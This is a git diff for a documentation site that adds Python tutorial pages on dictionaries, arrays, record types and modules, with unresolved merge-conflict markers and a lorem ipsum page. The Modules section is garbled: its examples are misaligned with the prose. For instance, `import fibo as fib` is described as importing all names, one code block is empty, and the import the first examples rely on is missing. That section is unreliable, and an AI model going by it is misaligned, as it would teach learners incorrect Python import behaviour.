+ read_only["one"]
+1
+ read_only["one"] = 23
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'mappingproxy' object does not support item assignment
+
+ # Updates to the original are reflected in the proxy:
+ writable["one"] = 42
+ read_only
+mappingproxy({'one': 42, 'two': 2})
+
+```
+
+### Dictionaries in Python: Summary[](#dictionaries-in-python-summary 'Permanent link')
+
+All the Python dictionary implementations listed in this tutorial are valid implementations that are built into the Python standard library.
+
+If you’re looking for a general recommendation on which mapping type to use in your programs, I’d point you to the built-in `dict` data type. It’s a versatile and optimized hash table implementation that’s built directly into the core language.
+
+I would recommend that you use one of the other data types listed here only if you have special requirements that go beyond what’s provided by `dict`.
+
+All the implementations are valid options, but your code will be clearer and easier to maintain if it relies on standard Python dictionaries most of the time.
+
+## Array Data Structures[](#array-data-structures 'Permanent link')
+
+An **array** is a fundamental data structure available in most programming languages, and it has a wide range of uses across different algorithms.
+
+In this section, you’ll take a look at array implementations in Python that use only core language features or functionality that’s included in the Python standard library. You’ll see the strengths and weaknesses of each approach so you can decide which implementation is right for your use case.
+
+But before we jump in, let’s cover some of the basics first. How do arrays work, and what are they used for? Arrays consist of fixed-size data records that allow each element to be efficiently located based on its index:
+
+[![Visual representation of an array](https://files.realpython.com/media/python-linked-list-array-visualization.5b9f4c4040cb.jpeg)](https://files.realpython.com/media/python-linked-list-array-visualization.5b9f4c4040cb.jpeg)
+
+Because arrays store information in adjoining blocks of memory, they’re considered **contiguous** data structures (as opposed to **linked** data structures like linked lists, for example).
+
+A real-world analogy for an array data structure is a parking lot. You can look at the parking lot as a whole and treat it as a single object, but inside the lot there are parking spots indexed by a unique number. Parking spots are containers for vehicles—each parking spot can either be empty or have a car, a motorbike, or some other vehicle parked on it.
+
+But not all parking lots are the same. Some parking lots may be restricted to only one type of vehicle. For example, a motor home parking lot wouldn’t allow bikes to be parked on it. A restricted parking lot corresponds to a **typed** array data structure that allows only elements that have the same data type stored in them.
+
+Performance-wise, it’s very fast to look up an element contained in an array given the element’s index. A proper array implementation guarantees a constant _O_(1) access time for this case.
+
+Python includes several array-like data structures in its standard library that each have slightly different characteristics. Let’s take a look.
+
+### `list`: Mutable Dynamic Arrays[](#list-mutable-dynamic-arrays 'Permanent link')
+
+[Lists](https://docs.python.org/3.6/library/stdtypes.html#lists) are a part of the core Python language. Despite their name, Python’s lists are implemented as **dynamic arrays** behind the scenes.
+
+This means a list allows elements to be added or removed, and the list will automatically adjust the backing store that holds these elements by allocating or releasing memory.
+
+Python lists can hold arbitrary elements—everything is an object in Python, including functions. Therefore, you can mix and match different kinds of data types and store them all in a single list.
+
+This can be a powerful feature, but the downside is that supporting multiple data types at the same time means that data is generally less tightly packed. As a result, the whole structure takes up more space:
+
+```py
+ arr = ["one", "two", "three"]
+ arr[0]
+'one'
+
+ # Lists have a nice repr:
+ arr
+['one', 'two', 'three']
+
+ # Lists are mutable:
+ arr[1] = "hello"
+ arr
+['one', 'hello', 'three']
+
+ del arr[1]
+ arr
+['one', 'three']
+
+ # Lists can hold arbitrary data types:
+ arr.append(23)
+ arr
+['one', 'three', 23]
+
+```
+
+### `tuple`: Immutable Containers[](#tuple-immutable-containers 'Permanent link')
+
+Just like lists, [tuples](https://docs.python.org/3/library/stdtypes.html#tuple) are part of the Python core language. Unlike lists, however, Python’s `tuple` objects are immutable. This means elements can’t be added or removed dynamically—all elements in a tuple must be defined at creation time.
+
+Tuples are another data structure that can hold elements of arbitrary data types. Having this flexibility is powerful, but again, it also means that data is less tightly packed than it would be in a typed array:
+
+```py
+ arr = ("one", "two", "three")
+ arr[0]
+'one'
+
+ # Tuples have a nice repr:
+ arr
+('one', 'two', 'three')
+
+ # Tuples are immutable:
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'tuple' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'tuple' object doesn't support item deletion
+
+ # Tuples can hold arbitrary data types:
+ # (Adding elements creates a copy of the tuple)
+ arr + (23,)
+('one', 'two', 'three', 23)
+
+```
+
+### `array.array`: Basic Typed Arrays[](#arrayarray-basic-typed-arrays 'Permanent link')
+
+Python’s `array` module provides space-efficient storage of basic C-style data types like bytes, 32-bit integers, floating-point numbers, and so on.
+
+Arrays created with the [`array.array`](https://docs.python.org/3/library/array.html) class are mutable and behave similarly to lists except for one important difference: they’re **typed arrays** constrained to a single data type.
+
+Because of this constraint, `array.array` objects with many elements are more space efficient than lists and tuples. The elements stored in them are tightly packed, and this can be useful if you need to store many elements of the same type.
+
+Also, arrays support many of the same methods as regular lists, and you might be able to use them as a drop-in replacement without requiring other changes to your application code.
+
+```py
+ import array
+ arr = array.array("f", (1.0, 1.5, 2.0, 2.5))
+ arr[1]
+1.5
+
+ # Arrays have a nice repr:
+ arr
+array('f', [1.0, 1.5, 2.0, 2.5])
+
+ # Arrays are mutable:
+ arr[1] = 23.0
+ arr
+array('f', [1.0, 23.0, 2.0, 2.5])
+
+ del arr[1]
+ arr
+array('f', [1.0, 2.0, 2.5])
+
+ arr.append(42.0)
+ arr
+array('f', [1.0, 2.0, 2.5, 42.0])
+
+ # Arrays are "typed":
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: must be real number, not str
+
+```
+
+### `str`: Immutable Arrays of Unicode Characters[](#str-immutable-arrays-of-unicode-characters 'Permanent link')
+
+Python 3.x uses [`str`](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str) objects to store textual data as immutable sequences of [Unicode characters](https://realpython.com/python-encodings-guide/). Practically speaking, that means a `str` is an immutable array of characters. Oddly enough, it’s also a [recursive](https://realpython.com/python-thinking-recursively/) data structure—each character in a string is itself a `str` object of length 1.
+
+String objects are space efficient because they’re tightly packed and they specialize in a single data type. If you’re storing Unicode text, then you should use a string.
+
+Because strings are immutable in Python, modifying a string requires creating a modified copy. The closest equivalent to a mutable string is storing individual characters inside a list:
+
+```py
+ arr = "abcd"
+ arr[1]
+'b'
+
+ arr
+'abcd'
+
+ # Strings are immutable:
+ arr[1] = "e"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object doesn't support item deletion
+
+ # Strings can be unpacked into a list to
+ # get a mutable representation:
+ list("abcd")
+['a', 'b', 'c', 'd']
+ "".join(list("abcd"))
+'abcd'
+
+ # Strings are recursive data structures:
+ type("abc")
+"<class 'str'>"
+ type("abc"[0])
+"<class 'str'>"
+
+```
+
+### `bytes`: Immutable Arrays of Single Bytes[](#bytes-immutable-arrays-of-single-bytes 'Permanent link')
+
+[`bytes`](https://docs.python.org/3/library/stdtypes.html#bytes-objects) objects are immutable sequences of single bytes, or integers in the range 0 ≤ _x_ ≤ 255. Conceptually, `bytes` objects are similar to `str` objects, and you can also think of them as immutable arrays of bytes.
+
+Like strings, `bytes` have their own literal syntax for creating objects and are space efficient. `bytes` objects are immutable, but unlike strings, there’s a dedicated mutable byte array data type called `bytearray` that they can be unpacked into:
+
+```py
+ arr = bytes((0, 1, 2, 3))
+ arr[1]
+1
+
+ # Bytes literals have their own syntax:
+ arr
+b'\x00\x01\x02\x03'
+ arr = b"\x00\x01\x02\x03"
+
+ # Only valid `bytes` are allowed:
+ bytes((0, 300))
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+ValueError: bytes must be in range(0, 256)
+
+ # Bytes are immutable:
+ arr[1] = 23
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'bytes' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'bytes' object doesn't support item deletion
+
+```
+
+### `bytearray`: Mutable Arrays of Single Bytes[](#bytearray-mutable-arrays-of-single-bytes 'Permanent link')
+
+The [`bytearray`](https://docs.python.org/3.1/library/functions.html#bytearray) type is a mutable sequence of integers in the range 0 ≤ _x_ ≤ 255. The `bytearray` object is closely related to the `bytes` object, with the main difference being that a `bytearray` can be modified freely—you can overwrite elements, remove existing elements, or add new ones. The `bytearray` object will grow and shrink accordingly.
+
+A `bytearray` can be converted back into immutable `bytes` objects, but this involves copying the stored data in full—a slow operation taking _O_(_n_) time:
+
+```py
+ arr = bytearray((0, 1, 2, 3))
+ arr[1]
+1
+
+ # The bytearray repr:
+ arr
+bytearray(b'\x00\x01\x02\x03')
+
+ # Bytearrays are mutable:
+ arr[1] = 23
+ arr
+bytearray(b'\x00\x17\x02\x03')
+
+ arr[1]
+23
+
+ # Bytearrays can grow and shrink in size:
+ del arr[1]
+ arr
+bytearray(b'\x00\x02\x03')
+
+ arr.append(42)
+ arr
+bytearray(b'\x00\x02\x03*')
+
+ # Bytearrays can only hold `bytes`
+ # (integers in the range 0 <= x <= 255)
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object cannot be interpreted as an integer
+
+ arr[1] = 300
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+ValueError: byte must be in range(0, 256)
+
+ # Bytearrays can be converted back into bytes objects:
+ # (This will copy the data)
+ bytes(arr)
+b'\x00\x02\x03*'
+
+```
+
+### Arrays in Python: Summary[](#arrays-in-python-summary 'Permanent link')
+
+There are a number of built-in data structures you can choose from when it comes to implementing arrays in Python. In this section, you’ve focused on core language features and data structures included in the standard library.
+
+If you’re willing to go beyond the Python standard library, then third-party packages like [NumPy](https://realpython.com/numpy-array-programming/) and [pandas](https://realpython.com/pandas-dataframe/) offer a wide range of fast array implementations for scientific computing and data science.
+
+If you want to restrict yourself to the array data structures included with Python, then here are a few guidelines:
+
+-   If you need to store arbitrary objects, potentially with mixed data types, then use a `list` or a `tuple`, depending on whether or not you want an immutable data structure.
+
+-   If you have numeric (integer or floating-point) data and tight packing and performance is important, then try out `array.array`.
+
+-   If you have textual data represented as Unicode characters, then use Python’s built-in `str`. If you need a mutable string-like data structure, then use a `list` of characters.
+
+-   If you want to store a contiguous block of bytes, then use the immutable `bytes` type or a `bytearray` if you need a mutable data structure.
+
+In most cases, I like to start out with a simple `list`. I’ll only specialize later on if performance or storage space becomes an issue. Most of the time, using a general-purpose array data structure like `list` gives you the fastest development speed and the most programming convenience.
+
+I’ve found that this is usually much more important in the beginning than trying to squeeze out every last drop of performance right from the start.
+
+## Records, Structs, and Data Transfer Objects[](#records-structs-and-data-transfer-objects 'Permanent link')
+
+Compared to arrays, **record** data structures provide a fixed number of fields. Each field can have a name and may also have a different type.
+
+In this section, you’ll see how to implement records, structs, and plain old data objects in Python using only built-in data types and classes from the standard library.
+
+**Note:** I’m using the definition of a record loosely here. For example, I’m also going to discuss types like Python’s built-in `tuple` that may or may not be considered records in a strict sense because they don’t provide named fields.
+
+Python offers several data types that you can use to implement records, structs, and data transfer objects. In this section, you’ll get a quick look at each implementation and its unique characteristics. At the end, you’ll find a summary and a decision-making guide that will help you make your own picks.
+
+**Note:** This tutorial is adapted from the chapter “Common Data Structures in Python” in [_Python Tricks: The Book_](https://realpython.com/products/python-tricks-book/). If you enjoy what you’re reading, then be sure to check out [the rest of the book](https://realpython.com/products/python-tricks-book/).
+
+Alright, let’s get started!
+
+### `dict`: Simple Data Objects[](#dict-simple-data-objects 'Permanent link')
+
+As mentioned [previously](#dictionaries-maps-and-hash-tables), Python dictionaries store an arbitrary number of objects, each identified by a unique key. Dictionaries are also often called **maps** or **associative arrays** and allow for efficient lookup, insertion, and deletion of any object associated with a given key.
+
+Using dictionaries as a record data type or data object in Python is possible. Dictionaries are easy to create in Python as they have their own syntactic sugar built into the language in the form of **dictionary literals**. The dictionary syntax is concise and quite convenient to type.
+
+Data objects created using dictionaries are mutable, and there’s little protection against misspelled field names as fields can be added and removed freely at any time. Both of these properties can introduce surprising bugs, and there’s always a trade-off to be made between convenience and error resilience:
+
+```py
+ car1 = {
+...     "color": "red",
+...     "mileage": 3812.4,
+...     "automatic": True,
+... }
+ car2 = {
+...     "color": "blue",
+...     "mileage": 40231,
+...     "automatic": False,
+... }
+
+ # Dicts have a nice repr:
+ car2
+```
diff --git a/src/pages/docs/python/examples.md b/src/pages/docs/python/examples.md
index 9e52866507..f5f1620039 100644
--- a/src/pages/docs/python/examples.md
+++ b/src/pages/docs/python/examples.md
@@ -1,10 +1,15 @@
 ---
-title: Practice
+title: Python Practice
 weight: 0
 excerpt: Example Problems
 seo:
+<<<<<<< HEAD
     title: ''
     description: ''
+=======
+    title: 'Python Examples'
+    description: 'Python Problems & Solutions For Beginners'
+>>>>>>> master
     robots: []
     extra: []
 template: docs
diff --git a/src/pages/docs/python/flow-control.md b/src/pages/docs/python/flow-control.md
index 8104bacb4a..62ae02ce52 100644
--- a/src/pages/docs/python/flow-control.md
+++ b/src/pages/docs/python/flow-control.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## Flow Control:
 
 ## Read It
diff --git a/src/pages/docs/python/intro-for-js-devs.md b/src/pages/docs/python/intro-for-js-devs.md
index f817132afa..be3527825f 100644
--- a/src/pages/docs/python/intro-for-js-devs.md
+++ b/src/pages/docs/python/intro-for-js-devs.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## Lorem ipsum
 
 Lorem ipsum dolor sit amet, **consectetur adipiscing elit**, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
diff --git a/src/pages/docs/python/python-modules/index.md b/src/pages/docs/python/python-modules/index.md
new file mode 100644
index 0000000000..4510bf83f6
--- /dev/null
+++ b/src/pages/docs/python/python-modules/index.md
@@ -0,0 +1,448 @@
+---
+title: Python Modules
+template: docs
+excerpt: If you quit from the Python interpreter and enter it again, the
+    definitions you have made (functions and variables) are lost
+---
+
+<!--StartFragment-->
+
+# 6. Modules[](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#modules 'Permalink to this headline')
+
+If you quit from the Python interpreter and enter it again, the definitions you have made (functions and variables) are lost. Therefore, if you want to write a somewhat longer program, you are better off using a text editor to prepare the input for the interpreter and running it with that file as input instead. This is known as creating a *script*. As your program gets longer, you may want to split it into several files for easier maintenance. You may also want to use a handy function that you’ve written in several programs without copying its definition into each program.
+
+To support this, Python has a way to put definitions in a file and use them in a script or in an interactive instance of the interpreter. Such a file is called a *module*; definitions from a module can be *imported* into other modules or into the *main* module (the collection of variables that you have access to in a script executed at the top level and in calculator mode).
+
+A module is a file containing Python definitions and statements. The file name is the module name with the suffix `.py` appended. Within a module, the module’s name (as a string) is available as the value of the global variable `__name__`. For instance, use your favorite text editor to create a file called `fibo.py` in the current directory with the following contents:
+
+```python
+# Fibonacci numbers module
+
+def fib(n):    # write Fibonacci series up to n
+    a, b = 0, 1
+    while a < n:
+        print(a, end=' ')
+        a, b = b, a+b
+    print()
+
+def fib2(n):   # return Fibonacci series up to n
+    result = []
+    a, b = 0, 1
+    while a < n:
+        result.append(a)
+        a, b = b, a+b
+    return result
+```
+
+Now enter the Python interpreter and import this module with the following command:
+
+```
+>>> fibo.fib(1000)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987
+>>> fibo.fib2(100)
+[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]
+>>> fibo.__name__
+'fibo'
+```
+
+This does not enter the names of the functions defined in `fibo` directly in the current symbol table; it only enters the module name `fibo` there. Using the module name you can access the functions:
+
+```
+>>> fib = fibo.fib
+>>> fib(500)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+
+
+```
+
+If you intend to use a function often you can assign it to a local name:
+
+```
+>>> from fibo import fib, fib2
+>>> fib(500)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+```
+
+## 6.1. More on Modules[](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#more-on-modules 'Permalink to this headline')
+
+A module can contain executable statements as well as function definitions. These statements are intended to initialize the module. They are executed only the *first* time the module name is encountered in an import statement. [1](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#id2) (They are also run if the file is executed as a script.)
+
+Each module has its own private symbol table, which is used as the global symbol table by all functions defined in the module. Thus, the author of a module can use global variables in the module without worrying about accidental clashes with a user’s global variables. On the other hand, if you know what you are doing you can touch a module’s global variables with the same notation used to refer to its functions, `modname.itemname`.
+
+Modules can import other modules. It is customary but not required to place all [`import`](https://docs.python.org/3/reference/simple_stmts.html#import) statements at the beginning of a module (or script, for that matter). The imported module names are placed in the importing module’s global symbol table.
+
+There is a variant of the [`import`](https://docs.python.org/3/reference/simple_stmts.html#import) statement that imports names from a module directly into the importing module’s symbol table. For example:
+
+```
+>>> from fibo import *
+>>> fib(500)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+```
+
+This does not introduce the module name from which the imports are taken in the local symbol table (so in the example, `fibo` is not defined).
+
+There is even a variant to import all names that a module defines:
+
+```
+>>> import fibo as fib
+>>> fib.fib(500)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+```
+
+This imports all names except those beginning with an underscore (`_`). In most cases Python programmers do not use this facility since it introduces an unknown set of names into the interpreter, possibly hiding some things you have already defined.
+
+Note that in general the practice of importing `*` from a module or package is frowned upon, since it often causes poorly readable code. However, it is okay to use it to save typing in interactive sessions.
+
+If the module name is followed by `as`, then the name following `as` is bound directly to the imported module.
+
+```
+>>> from fibo import fib as fibonacci
+>>> fibonacci(500)
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+```
+
+This is effectively importing the module in the same way that `import fibo` will do, with the only difference of it being available as `fib`.
+
+It can also be used when utilising [`from`](https://docs.python.org/3/reference/simple_stmts.html#from) with similar effects:
+
+```
+
+```
+
+Note
+
+For efficiency reasons, each module is only imported once per interpreter session. Therefore, if you change your modules, you must restart the interpreter – or, if it’s just one module you want to test interactively, use [`importlib.reload()`](https://docs.python.org/3/library/importlib.html#importlib.reload 'importlib.reload'), e.g. `import importlib; importlib.reload(modulename)`.
+
+### 6.1.1. Executing modules as scripts[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#executing-modules-as-scripts 'Permalink to this headline')
+
+When you run a Python module with
+
+```
+python fibo.py <arguments>
+```
+
+the code in the module will be executed, just as if you imported it, but with the `__name__` set to `"__main__"`. That means that by adding this code at the end of your module:
+
+```
+if __name__ == "__main__":
+    import sys
+    fib(int(sys.argv[1]))
+```
+
+you can make the file usable as a script as well as an importable module, because the code that parses the command line only runs if the module is executed as the “main” file:
+
+```
+$ python fibo.py 50
+0 1 1 2 3 5 8 13 21 34
+```
+
+If the module is imported, the code is not run:
+
+```
+>>> import fibo
+>>>
+```
+
+This is often used either to provide a convenient user interface to a module, or for testing purposes (running the module as a script executes a test suite).
+
+### 6.1.2. The Module Search Path[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#the-module-search-path 'Permalink to this headline')
+
+When a module named `spam` is imported, the interpreter first searches for a built-in module with that name. If not found, it then searches for a file named `spam.py` in a list of directories given by the variable [`sys.path`](https://docs.python.org/3/library/sys.html#sys.path 'sys.path'). [`sys.path`](https://docs.python.org/3/library/sys.html#sys.path 'sys.path') is initialized from these locations:
+
+-   The directory containing the input script (or the current directory when no file is specified).
+-   [`PYTHONPATH`](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH) (a list of directory names, with the same syntax as the shell variable `PATH`).
+-   The installation-dependent default.
+
+Note
+
+On file systems which support symlinks, the directory containing the input script is calculated after the symlink is followed. In other words the directory containing the symlink is **not** added to the module search path.
+
+After initialization, Python programs can modify [`sys.path`](https://docs.python.org/3/library/sys.html#sys.path 'sys.path'). The directory containing the script being run is placed at the beginning of the search path, ahead of the standard library path. This means that scripts in that directory will be loaded instead of modules of the same name in the library directory. This is an error unless the replacement is intended. See section [Standard Modules](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#tut-standardmodules) for more information.
+
+### 6.1.3. “Compiled” Python files[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#compiled-python-files 'Permalink to this headline')
+
+To speed up loading modules, Python caches the compiled version of each module in the `__pycache__` directory under the name `module.version.pyc`, where the version encodes the format of the compiled file; it generally contains the Python version number. For example, in CPython release 3.3 the compiled version of spam.py would be cached as `__pycache__/spam.cpython-33.pyc`. This naming convention allows compiled modules from different releases and different versions of Python to coexist.
+
+Python checks the modification date of the source against the compiled version to see if it’s out of date and needs to be recompiled. This is a completely automatic process. Also, the compiled modules are platform-independent, so the same library can be shared among systems with different architectures.
+
+Python does not check the cache in two circumstances. First, it always recompiles and does not store the result for the module that’s loaded directly from the command line. Second, it does not check the cache if there is no source module. To support a non-source (compiled only) distribution, the compiled module must be in the source directory, and there must not be a source module.
+
+Some tips for experts:
+
+-   You can use the [`-O`](https://docs.python.org/3/using/cmdline.html#cmdoption-o) or [`-OO`](https://docs.python.org/3/using/cmdline.html#cmdoption-oo) switches on the Python command to reduce the size of a compiled module. The `-O` switch removes assert statements, the `-OO` switch removes both assert statements and \_\_doc\_\_ strings. Since some programs may rely on having these available, you should only use this option if you know what you’re doing. “Optimized” modules have an `opt-` tag and are usually smaller. Future releases may change the effects of optimization.
+-   A program doesn’t run any faster when it is read from a `.pyc` file than when it is read from a `.py` file; the only thing that’s faster about `.pyc` files is the speed with which they are loaded.
+-   The module [`compileall`](https://docs.python.org/3/library/compileall.html#module-compileall 'compileall: Tools for byte-compiling all Python source files in a directory tree.') can create .pyc files for all modules in a directory.
+-   There is more detail on this process, including a flow chart of the decisions, in **[PEP 3147](https://www.python.org/dev/peps/pep-3147)**.
+
+## 6.2. Standard Modules[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#standard-modules 'Permalink to this headline')
+
+Python comes with a library of standard modules, described in a separate document, the Python Library Reference (“Library Reference” hereafter). Some modules are built into the interpreter; these provide access to operations that are not part of the core of the language but are nevertheless built in, either for efficiency or to provide access to operating system primitives such as system calls. The set of such modules is a configuration option which also depends on the underlying platform. For example, the [`winreg`](https://docs.python.org/3/library/winreg.html#module-winreg 'winreg: Routines and objects for manipulating the Windows registry. (Windows)') module is only provided on Windows systems. One particular module deserves some attention: [`sys`](https://docs.python.org/3/library/sys.html#module-sys 'sys: Access system-specific parameters and functions.'), which is built into every Python interpreter. The variables `sys.ps1` and `sys.ps2` define the strings used as primary and secondary prompts:
+
+```
+>>> import sys
+>>> sys.ps1
+'>>> '
+>>> sys.ps2
+'... '
+>>> sys.ps1 = 'C> '
+C> print('Yuck!')
+Yuck!
+C>
+```
+
+These two variables are only defined if the interpreter is in interactive mode.
+
+The variable `sys.path` is a list of strings that determines the interpreter’s search path for modules. It is initialized to a default path taken from the environment variable [`PYTHONPATH`](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH), or from a built-in default if [`PYTHONPATH`](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH) is not set. You can modify it using standard list operations:
+
+```
+>>> import sys
+>>> sys.path.append('/ufs/guido/lib/python')
+```
+
+## 6.3. The [`dir()`](https://docs.python.org/3/library/functions.html#dir 'dir') Function[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#the-dir-function 'Permalink to this headline')
+
+The built-in function [`dir()`](https://docs.python.org/3/library/functions.html#dir 'dir') is used to find out which names a module defines. It returns a sorted list of strings:
+
+```python
+>>> import fibo, sys
+>>> dir(fibo)
+['__name__', 'fib', 'fib2']
+>>> dir(sys)
+['__breakpointhook__', '__displayhook__', '__doc__', '__excepthook__',
+ '__interactivehook__', '__loader__', '__name__', '__package__', '__spec__',
+ '__stderr__', '__stdin__', '__stdout__', '__unraisablehook__',
+ '_clear_type_cache', '_current_frames', '_debugmallocstats', '_framework',
+ '_getframe', '_git', '_home', '_xoptions', 'abiflags', 'addaudithook',
+ 'api_version', 'argv', 'audit', 'base_exec_prefix', 'base_prefix',
+ 'breakpointhook', 'builtin_module_names', 'byteorder', 'call_tracing',
+ 'callstats', 'copyright', 'displayhook', 'dont_write_bytecode', 'exc_info',
+ 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info',
+ 'float_repr_style', 'get_asyncgen_hooks', 'get_coroutine_origin_tracking_depth',
+ 'getallocatedblocks', 'getdefaultencoding', 'getdlopenflags',
+ 'getfilesystemencodeerrors', 'getfilesystemencoding', 'getprofile',
+ 'getrecursionlimit', 'getrefcount', 'getsizeof', 'getswitchinterval',
+ 'gettrace', 'hash_info', 'hexversion', 'implementation', 'int_info',
+ 'intern', 'is_finalizing', 'last_traceback', 'last_type', 'last_value',
+ 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks',
+ 'path_importer_cache', 'platform', 'prefix', 'ps1', 'ps2', 'pycache_prefix',
+ 'set_asyncgen_hooks', 'set_coroutine_origin_tracking_depth', 'setdlopenflags',
+ 'setprofile', 'setrecursionlimit', 'setswitchinterval', 'settrace', 'stderr',
+ 'stdin', 'stdout', 'thread_info', 'unraisablehook', 'version', 'version_info',
+ 'warnoptions']
+```
+
+Without arguments, [`dir()`](https://docs.python.org/3/library/functions.html#dir 'dir') lists the names you have defined currently:
+
+```
+>>> a = [1, 2, 3, 4, 5]
+>>> import fibo
+>>> fib = fibo.fib
+>>> dir()
+['__builtins__', '__name__', 'a', 'fib', 'fibo', 'sys']
+```
+
+Note that it lists all types of names: variables, modules, functions, etc.
+
+[`dir()`](https://docs.python.org/3/library/functions.html#dir 'dir') does not list the names of built-in functions and variables. If you want a list of those, they are defined in the standard module [`builtins`](https://docs.python.org/3/library/builtins.html#module-builtins 'builtins: The module that provides the built-in namespace.'):
+
+```
+>>> import builtins
+>>> dir(builtins)
+['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException',
+ 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning',
+ 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError',
+ 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning',
+ 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False',
+ 'FileExistsError', 'FileNotFoundError', 'FloatingPointError',
+ 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError',
+ 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError',
+ 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError',
+ 'MemoryError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented',
+ 'NotImplementedError', 'OSError', 'OverflowError',
+ 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError',
+ 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning',
+ 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
+ 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError',
+ 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError',
+ 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning',
+ 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__',
+ '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs',
+ 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable',
+ 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits',
+ 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit',
+ 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr',
+ 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass',
+ 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview',
+ 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property',
+ 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice',
+ 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars',
+ 'zip']
+```
+
+## 6.4. Packages[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#packages 'Permalink to this headline')
+
+Packages are a way of structuring Python’s module namespace by using “dotted module names”. For example, the module name `A.B` designates a submodule named `B` in a package named `A`. Just like the use of modules saves the authors of different modules from having to worry about each other’s global variable names, the use of dotted module names saves the authors of multi-module packages like NumPy or Pillow from having to worry about each other’s module names.
+
+Suppose you want to design a collection of modules (a “package”) for the uniform handling of sound files and sound data. There are many different sound file formats (usually recognized by their extension, for example: `.wav`, `.aiff`, `.au`), so you may need to create and maintain a growing collection of modules for the conversion between the various file formats. There are also many different operations you might want to perform on sound data (such as mixing, adding echo, applying an equalizer function, creating an artificial stereo effect), so in addition you will be writing a never-ending stream of modules to perform these operations. Here’s a possible structure for your package (expressed in terms of a hierarchical filesystem):
+
+```
+sound/                          Top-level package
+      __init__.py               Initialize the sound package
+      formats/                  Subpackage for file format conversions
+              __init__.py
+              wavread.py
+              wavwrite.py
+              aiffread.py
+              aiffwrite.py
+              auread.py
+              auwrite.py
+              ...
+      effects/                  Subpackage for sound effects
+              __init__.py
+              echo.py
+              surround.py
+              reverse.py
+              ...
+      filters/                  Subpackage for filters
+              __init__.py
+              equalizer.py
+              vocoder.py
+              karaoke.py
+              ...
+```
+
+When importing the package, Python searches through the directories on `sys.path` looking for the package subdirectory.
+
